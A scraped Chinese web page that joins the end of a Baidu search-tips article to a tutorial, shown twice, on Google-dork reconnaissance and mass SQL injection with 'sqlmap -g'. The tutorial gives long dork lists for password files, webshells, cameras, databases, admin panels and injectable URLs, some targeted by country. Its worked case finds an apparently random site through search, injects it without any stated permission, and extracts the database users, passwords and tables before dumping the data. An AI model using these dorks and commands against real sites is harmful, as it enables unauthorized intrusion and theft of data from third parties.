在包含完整關(guān)鍵詞輸入框中輸入關(guān)鍵詞「城市地鐵」,接著(zhù)點(diǎn)擊底部的高級搜索,在打開(kāi)的搜索頁(yè)面中,它會(huì )自動(dòng)為關(guān)鍵詞加上雙引號,這與前面介紹的搜索命令是一致的。
此外,高級搜索面板還可以限定搜索返回的文檔格式,這里列出的文檔格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以圖搜圖
不少朋友可能都知道百度的「以圖搜圖」功能,通過(guò)將本地的圖片上傳到百度,它會(huì )幫我們找到與這張圖片相關(guān)的其他圖片。
但多數人每次使用百度的以圖搜圖時(shí),可能都是先在百度中搜索以圖搜圖,然后打開(kāi)百度識圖的頁(yè)面,最后再上傳圖片,整個(gè)流程下來(lái)有些繁瑣。
為幫助大家更高效地使用以圖搜圖,這里介紹兩個(gè)搜圖的小技巧:
?、侔磮D搜索
這是百度圖片自帶的功能,當你使用百度搜索特定圖片時(shí),將鼠標移動(dòng)到搜索返回的圖片上方,右下角會(huì )有兩個(gè)按鈕,一個(gè)是下載,另一個(gè)則是按圖片搜索。
點(diǎn)擊「按圖片搜索」,就會(huì )調用百度的以圖搜圖功能,尋找所有與當前圖片相關(guān)的內容。
另外,當你點(diǎn)擊圖片的縮略圖查看圖片詳情時(shí),點(diǎn)擊圖片下方的「按圖搜索」,同樣可以實(shí)現以圖搜圖的操作。
?、?Search by Image
前面介紹的「按圖搜索」有個(gè)不好的地方在于,它僅限在百度圖片的頁(yè)面起作用,對于其他網(wǎng)頁(yè)的圖片,就不能直接調用百度的以圖搜圖功能。
Search by Image,是一個(gè)強大的圖片搜索插件,它集成了 30多個(gè)搜索引擎,可以將任意網(wǎng)頁(yè)的圖片上傳到不同的搜索引擎,以此來(lái)查找與當前圖片相關(guān)的圖片或內容。
安裝了插件之后,在任意圖片上右擊,選擇「Search by image」,可以看到不同搜索引擎提供的以圖搜圖功能,選擇 Baidu 就會(huì )直接打開(kāi)百度識圖頁(yè)面。
打開(kāi)插件的設置頁(yè)面,可以查看插件集成的所有圖片搜索引擎,勾選引擎前面的復選框即可啟用,長(cháng)按拖拽改變引擎的位置,會(huì )影響右鍵菜單中引擎的上下順序。
04.屏蔽網(wǎng)站
在搜索時(shí),除了過(guò)濾不需要的關(guān)鍵詞,我們可能還想要屏蔽個(gè)人不喜歡的網(wǎng)站,例如各類(lèi)容易讓電腦中病毒的軟件下載站、2345 網(wǎng)站等。
我對屏蔽網(wǎng)站比較理想的期待是,它不會(huì )出現在搜索結果中,但目前百度搜索無(wú)法做到這樣,想屏蔽的網(wǎng)站還是會(huì )出現在搜索結果中,只能在打開(kāi)網(wǎng)站的時(shí)候將其屏蔽。
為了間接屏蔽網(wǎng)站,我們需要為瀏覽器安裝一個(gè)插件——Simple Blocker,正如其名,它屏蔽網(wǎng)站的操作非常簡(jiǎn)單。
安裝插件后,點(diǎn)擊右上角的插件圖標,打開(kāi)插件的配置頁(yè)面,在網(wǎng)站屏蔽列表Website Blockist中粘貼你想屏蔽的網(wǎng)站的網(wǎng)址,點(diǎn)擊下方的按鈕「Save Blocklist」保存。
之后當你打開(kāi)屏蔽列表中的網(wǎng)站,網(wǎng)站會(huì )跳轉到 Simple Blocker的攔截頁(yè)面,提示當前頁(yè)面已被屏蔽。
可能這類(lèi)屏蔽插件的正確用法不是這樣子,正確的用法可能是為了屏蔽少兒不宜的東西,但為了屏蔽那些惡心人的網(wǎng)站,我也只能拿來(lái)這么用了。
Simple Blocker 插件下載地址:
05. 屏蔽廣告
說(shuō)到百度,它最為讓人詬病的地方在于競價(jià)排名。競價(jià)排名,直接體現為我們在搜索結果頂部或者右側看到的廣告。
今年 4 月份百度經(jīng)過(guò)一輪整改后,原本泛濫的廣告行為已經(jīng)有所收斂。這里我以關(guān)鍵詞「降噪耳機」進(jìn)行搜索,返回的頁(yè)面頂部沒(méi)有廣告,廣告只出現在了右側欄。
如果你是一個(gè)強迫癥患者,想去除網(wǎng)頁(yè)側邊欄的廣告,可以為瀏覽器安裝去除廣告的插件,這些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以隨意從中任選一款。
去廣告插件下載地址:
寫(xiě)在最后
除了本文介紹的內容,我之前還寫(xiě)過(guò)一篇介紹多個(gè)垂直搜索引擎的文章,感興趣的朋友可以戳下方的鏈接:
瀏覽至此,如果你在搜索方面也有自己的心得或體會(huì ),不妨在留言區寫(xiě)下你的想法,與其他朋友一起分享交流。
好看的人都在看▽
sqlamp利用搜索引擎獲取目標地址進(jìn)行注入
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 173 次瀏覽 ? 2022-06-14 14:28
隨著(zhù)近今年安全事件頻出,個(gè)人和公司安全意識大大提高,過(guò)去對一個(gè)站點(diǎn)隨便一試就存在sql注入漏洞的時(shí)光一去不返,但互聯(lián)網(wǎng)上千千萬(wàn)萬(wàn)公司,還有很多站點(diǎn)存在sql注入漏洞,好在sqlmap提供了google搜索注入,通過(guò)定義url值來(lái)進(jìn)行大批量的搜索,找到url后直接進(jìn)行測試,這個(gè)測試最關(guān)鍵的地方就是找到一個(gè)合適的定義名稱(chēng),也即搜索的文件名稱(chēng),本文主要介紹google黑客的一些語(yǔ)法和如何利用google進(jìn)行sqlmap注入目標的選定和測試。
3.7.1google黑客語(yǔ)法
目前世界上的搜索引擎主要有g(shù)oogle、百度等,搜索引擎最出名的應該是google,最好用的也是google,不過(guò)現在google被墻了(需要購買(mǎi)VPN或者通過(guò)sock5代理才能訪(fǎng)問(wèn)),google其強大的搜索功能,可以在瞬間找到想要的一切。對于普通的用戶(hù)而言,Google是一個(gè)強大的搜索引擎,但對于黑客而言,則可能是一款絕佳的黑客輔助工具,google每天不間斷的對世界上的網(wǎng)站進(jìn)行爬取,相當于一個(gè)巨型漏洞掃描器。因此黑客可以構造特殊的關(guān)鍵字語(yǔ)法,使用Google搜索關(guān)鍵字配置等信息。通過(guò)Google,黑客甚至可以在幾秒種內黑掉一個(gè)網(wǎng)站。這種利用Google搜索相關(guān)信息并進(jìn)行入侵的過(guò)程就叫做Google Hack。Google Hacking的含義原指利用Google搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現指利用各種搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為。
1.google基礎語(yǔ)法
Google 不分大小寫(xiě);Google 可以使用通配符“*”表示一個(gè)詞/字;Google 會(huì )智能地保留一些內容,比如一些過(guò)時(shí)的詞,一些不適合呈現的內容(比如違法信息);最常用的"關(guān)鍵字",雙引號會(huì )使Google強制搜索包含關(guān)鍵字的內容;布爾操作符AND(+)、NOT(-)、OR(|),AND現在已不需要,多個(gè)關(guān)鍵字google會(huì )都匹配到。
?。?)inurl——搜索包含有特定字符的URL
inurl:admin/manager 則可以找到帶有admin/manager字符的URL,通常這類(lèi)網(wǎng)址是管理員后臺的登錄網(wǎng)址,其它后臺地址名稱(chēng)還有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
?。?)intext(allintext)——搜索網(wǎng)頁(yè)正文內容中的指定字符
intext(allintext):網(wǎng)頁(yè)內容查找關(guān)鍵字,例如輸入“intext:百度”,這會(huì )查找包含百度關(guān)鍵字的網(wǎng)頁(yè)。
?。?)site——限制顯示某個(gè)域名的所有頁(yè)面
site: 則僅僅顯示域名,同時(shí)還可以使用“-”進(jìn)行排除。
?。?)filetype——對目標進(jìn)行某些文件類(lèi)型檢索
filetype后跟文件類(lèi)型,目前常見(jiàn)的類(lèi)型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文檔,則在搜索輸入框中鍵入:filetype:doc,這種方法主要是搜索某目標網(wǎng)站的一些通過(guò)google爬蟲(chóng)爬取的信息。filetype后跟腳本語(yǔ)言后綴,例如搜索asp腳本:filetype:asp,其它類(lèi)型類(lèi)似,主要有jsp、php、aspx、cfm等,可以?xún)H僅查看這些腳本的url。
?。?)intitle——限制搜索的網(wǎng)頁(yè)標題頁(yè)面
搜索網(wǎng)頁(yè)標題中包含有特定字符的網(wǎng)頁(yè),allintitle: 搜索所有關(guān)鍵字構成標題的網(wǎng)頁(yè).(allintite:關(guān)鍵字或者url地址)
?。?)link——將顯示跟指定網(wǎng)頁(yè)的所有鏈接的網(wǎng)頁(yè)
?。?)cache——將顯示在Google cache中的網(wǎng)頁(yè)
?。?)info——查找指定站點(diǎn)的一些基本信息
2.操作符說(shuō)明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示將可能忽略的字列入查詢(xún)范圍,“-”把某個(gè)關(guān)鍵字忽略,“~”同意詞、“.”單一的通配符,“*”通配符,可代表多個(gè)字母;“""”精確查詢(xún)。
3.google黑客的一些應用
?。?)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接進(jìn)入后臺
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目錄
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出錯頁(yè)面
intitle:index.of filetype:log//搜索日志文件
?。?)查找管理后臺
intitle:管理
intitle:登錄
intitle:后臺
intitel:"后臺登錄"
?。?)查找警告錯誤信息
intile:error
intitle:warning
0x004 inurl的用法
?。?)查找數據庫和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索攝像頭地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式數據庫
?。?)搜索備份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
?。?)inurl中查找注入點(diǎn)
site: filetype:asp
site:tw inurl:asp?id=//這個(gè)是找臺灣的
site:jp inurl:php?id=// 這個(gè)是找日本的
site:ko inurl:jsp?id=// 這個(gè)是找韓國的
?。?)目標遍歷漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.獲取主域名下的所有其他子域名或者頁(yè)面信息
site:
2.找各個(gè)子域名的管理后臺
site:intitle:管理或者后臺或者登陸等關(guān)鍵字
site: inurl:login或者inurl:admin可以跟常用的后臺路徑
site: intext:管理或者后臺或者登陸等關(guān)鍵字
3.查找各子域名腳本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以窮盡化對各個(gè)子域名的腳本文件頁(yè)面。
4.查找上傳路徑地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email郵箱等敏感信息
6.對存在腳本頁(yè)面及傳入參數進(jìn)行sql注入測試
7.對收集到的域名進(jìn)行漏洞掃描
3.7.3sqlmap利用搜索引擎進(jìn)行注入命令參數
sqlmap中提供了google進(jìn)行批量獲取注入的命令,通過(guò)該命令可以批量獲取url,對存在其中的url進(jìn)行注入測試。
1.命令參數
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch進(jìn)行自動(dòng)判斷和注入
注意:
?。?)國內用戶(hù)無(wú)法翻墻進(jìn)行注入測試,測試時(shí)必須使用代理或者vpn。
?。?)在kali中sqlmap命令為sqlmap -g
3.其它命令跟sqlmap進(jìn)行sql注入類(lèi)似
4.技巧
在定義inurl:asp?id=中指定具體的文件名稱(chēng),這個(gè)名稱(chēng)越不大眾化,越容易找出漏洞來(lái)。
5.常見(jiàn)的一些注入點(diǎn)搜索關(guān)鍵字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4實(shí)際測試案例
1.尋找可供注入點(diǎn)的目標網(wǎng)站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令進(jìn)行g(shù)oogle搜索,如圖1所示,首先對第一個(gè)目標進(jìn)行測試,輸入“Y”進(jìn)行確認,也可以選擇q,不測試該目標,繼續測試后續的目標。
圖1對第一個(gè)url進(jìn)行sql注入測試
sqlmap如果第一個(gè)url獲取的注入不存在漏洞,則會(huì )尋找下一個(gè)url進(jìn)行注入,同時(shí)url計數為2,后續每一個(gè)注入計數加1,可以在參數后面增加--batch自動(dòng)提交判斷。
2.sql注入漏洞測試
如圖2所示,對該注入點(diǎn)進(jìn)行注入漏洞測試,該url一共存在四種類(lèi)型的sql注入,基于布爾盲注、出錯注入、基于時(shí)間盲注和聯(lián)合查詢(xún)注入。
圖2獲取四種類(lèi)型的sql注入
3.基本信息獲取
sqlmap支持多個(gè)參數并列獲取,如圖3所示,獲取當前數據庫、當前數據庫名稱(chēng)、數據庫用戶(hù),mysql用戶(hù)以及密碼等信息,有些字段需要有相對應的權限才能獲取,執行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中獲取數據庫用戶(hù)finvent2@localhost,當前數據庫為finvent_out。
圖3獲取基本信息
4.數據庫獲取
?。?)獲取當前數據庫下所有表
sqlmap -u -D finvent_out --tables
執行后,如圖4所示,獲取當前數據庫finvent_out中的16個(gè)表名。
圖4獲取所有表名
?。?)獲取當前用戶(hù)下的所有數據
sqlmap -u --dump-all//獲取所有數據庫
sqlmap -u -Dfinvent_out //僅僅獲取finvent_out數據庫的數據。
參考文章: 查看全部
sqlamp利用搜索引擎獲取目標地址進(jìn)行注入
隨著(zhù)近今年安全事件頻出,個(gè)人和公司安全意識大大提高,過(guò)去對一個(gè)站點(diǎn)隨便一試就存在sql注入漏洞的時(shí)光一去不返,但互聯(lián)網(wǎng)上千千萬(wàn)萬(wàn)公司,還有很多站點(diǎn)存在sql注入漏洞,好在sqlmap提供了google搜索注入,通過(guò)定義url值來(lái)進(jìn)行大批量的搜索,找到url后直接進(jìn)行測試,這個(gè)測試最關(guān)鍵的地方就是找到一個(gè)合適的定義名稱(chēng),也即搜索的文件名稱(chēng),本文主要介紹google黑客的一些語(yǔ)法和如何利用google進(jìn)行sqlmap注入目標的選定和測試。
3.7.1google黑客語(yǔ)法
目前世界上的搜索引擎主要有g(shù)oogle、百度等,搜索引擎最出名的應該是google,最好用的也是google,不過(guò)現在google被墻了(需要購買(mǎi)VPN或者通過(guò)sock5代理才能訪(fǎng)問(wèn)),google其強大的搜索功能,可以在瞬間找到想要的一切。對于普通的用戶(hù)而言,Google是一個(gè)強大的搜索引擎,但對于黑客而言,則可能是一款絕佳的黑客輔助工具,google每天不間斷的對世界上的網(wǎng)站進(jìn)行爬取,相當于一個(gè)巨型漏洞掃描器。因此黑客可以構造特殊的關(guān)鍵字語(yǔ)法,使用Google搜索關(guān)鍵字配置等信息。通過(guò)Google,黑客甚至可以在幾秒種內黑掉一個(gè)網(wǎng)站。這種利用Google搜索相關(guān)信息并進(jìn)行入侵的過(guò)程就叫做Google Hack。Google Hacking的含義原指利用Google搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現指利用各種搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為。
1.google基礎語(yǔ)法
Google 不分大小寫(xiě);Google 可以使用通配符“*”表示一個(gè)詞/字;Google 會(huì )智能地保留一些內容,比如一些過(guò)時(shí)的詞,一些不適合呈現的內容(比如違法信息);最常用的"關(guān)鍵字",雙引號會(huì )使Google強制搜索包含關(guān)鍵字的內容;布爾操作符AND(+)、NOT(-)、OR(|),AND現在已不需要,多個(gè)關(guān)鍵字google會(huì )都匹配到。
?。?)inurl——搜索包含有特定字符的URL
inurl:admin/manager 則可以找到帶有admin/manager字符的URL,通常這類(lèi)網(wǎng)址是管理員后臺的登錄網(wǎng)址,其它后臺地址名稱(chēng)還有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
?。?)intext(allintext)——搜索網(wǎng)頁(yè)正文內容中的指定字符
intext(allintext):網(wǎng)頁(yè)內容查找關(guān)鍵字,例如輸入“intext:百度”,這會(huì )查找包含百度關(guān)鍵字的網(wǎng)頁(yè)。
?。?)site——限制顯示某個(gè)域名的所有頁(yè)面
site: 則僅僅顯示域名,同時(shí)還可以使用“-”進(jìn)行排除。
?。?)filetype——對目標進(jìn)行某些文件類(lèi)型檢索
filetype后跟文件類(lèi)型,目前常見(jiàn)的類(lèi)型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文檔,則在搜索輸入框中鍵入:filetype:doc,這種方法主要是搜索某目標網(wǎng)站的一些通過(guò)google爬蟲(chóng)爬取的信息。filetype后跟腳本語(yǔ)言后綴,例如搜索asp腳本:filetype:asp,其它類(lèi)型類(lèi)似,主要有jsp、php、aspx、cfm等,可以?xún)H僅查看這些腳本的url。
?。?)intitle——限制搜索的網(wǎng)頁(yè)標題頁(yè)面
搜索網(wǎng)頁(yè)標題中包含有特定字符的網(wǎng)頁(yè),allintitle: 搜索所有關(guān)鍵字構成標題的網(wǎng)頁(yè).(allintite:關(guān)鍵字或者url地址)
?。?)link——將顯示跟指定網(wǎng)頁(yè)的所有鏈接的網(wǎng)頁(yè)
?。?)cache——將顯示在Google cache中的網(wǎng)頁(yè)
?。?)info——查找指定站點(diǎn)的一些基本信息
2.操作符說(shuō)明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示將可能忽略的字列入查詢(xún)范圍,“-”把某個(gè)關(guān)鍵字忽略,“~”同意詞、“.”單一的通配符,“*”通配符,可代表多個(gè)字母;“""”精確查詢(xún)。
3.google黑客的一些應用
?。?)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接進(jìn)入后臺
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目錄
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出錯頁(yè)面
intitle:index.of filetype:log//搜索日志文件
?。?)查找管理后臺
intitle:管理
intitle:登錄
intitle:后臺
intitel:"后臺登錄"
?。?)查找警告錯誤信息
intile:error
intitle:warning
0x004 inurl的用法
?。?)查找數據庫和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索攝像頭地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式數據庫
?。?)搜索備份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
?。?)inurl中查找注入點(diǎn)
site: filetype:asp
site:tw inurl:asp?id=//這個(gè)是找臺灣的
site:jp inurl:php?id=// 這個(gè)是找日本的
site:ko inurl:jsp?id=// 這個(gè)是找韓國的
?。?)目標遍歷漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.獲取主域名下的所有其他子域名或者頁(yè)面信息
site:
2.找各個(gè)子域名的管理后臺
site:intitle:管理或者后臺或者登陸等關(guān)鍵字
site: inurl:login或者inurl:admin可以跟常用的后臺路徑
site: intext:管理或者后臺或者登陸等關(guān)鍵字
3.查找各子域名腳本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以窮盡化對各個(gè)子域名的腳本文件頁(yè)面。
4.查找上傳路徑地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email郵箱等敏感信息
6.對存在腳本頁(yè)面及傳入參數進(jìn)行sql注入測試
7.對收集到的域名進(jìn)行漏洞掃描
3.7.3sqlmap利用搜索引擎進(jìn)行注入命令參數
sqlmap中提供了google進(jìn)行批量獲取注入的命令,通過(guò)該命令可以批量獲取url,對存在其中的url進(jìn)行注入測試。
1.命令參數
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch進(jìn)行自動(dòng)判斷和注入
注意:
?。?)國內用戶(hù)無(wú)法翻墻進(jìn)行注入測試,測試時(shí)必須使用代理或者vpn。
?。?)在kali中sqlmap命令為sqlmap -g
3.其它命令跟sqlmap進(jìn)行sql注入類(lèi)似
4.技巧
在定義inurl:asp?id=中指定具體的文件名稱(chēng),這個(gè)名稱(chēng)越不大眾化,越容易找出漏洞來(lái)。
5.常見(jiàn)的一些注入點(diǎn)搜索關(guān)鍵字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
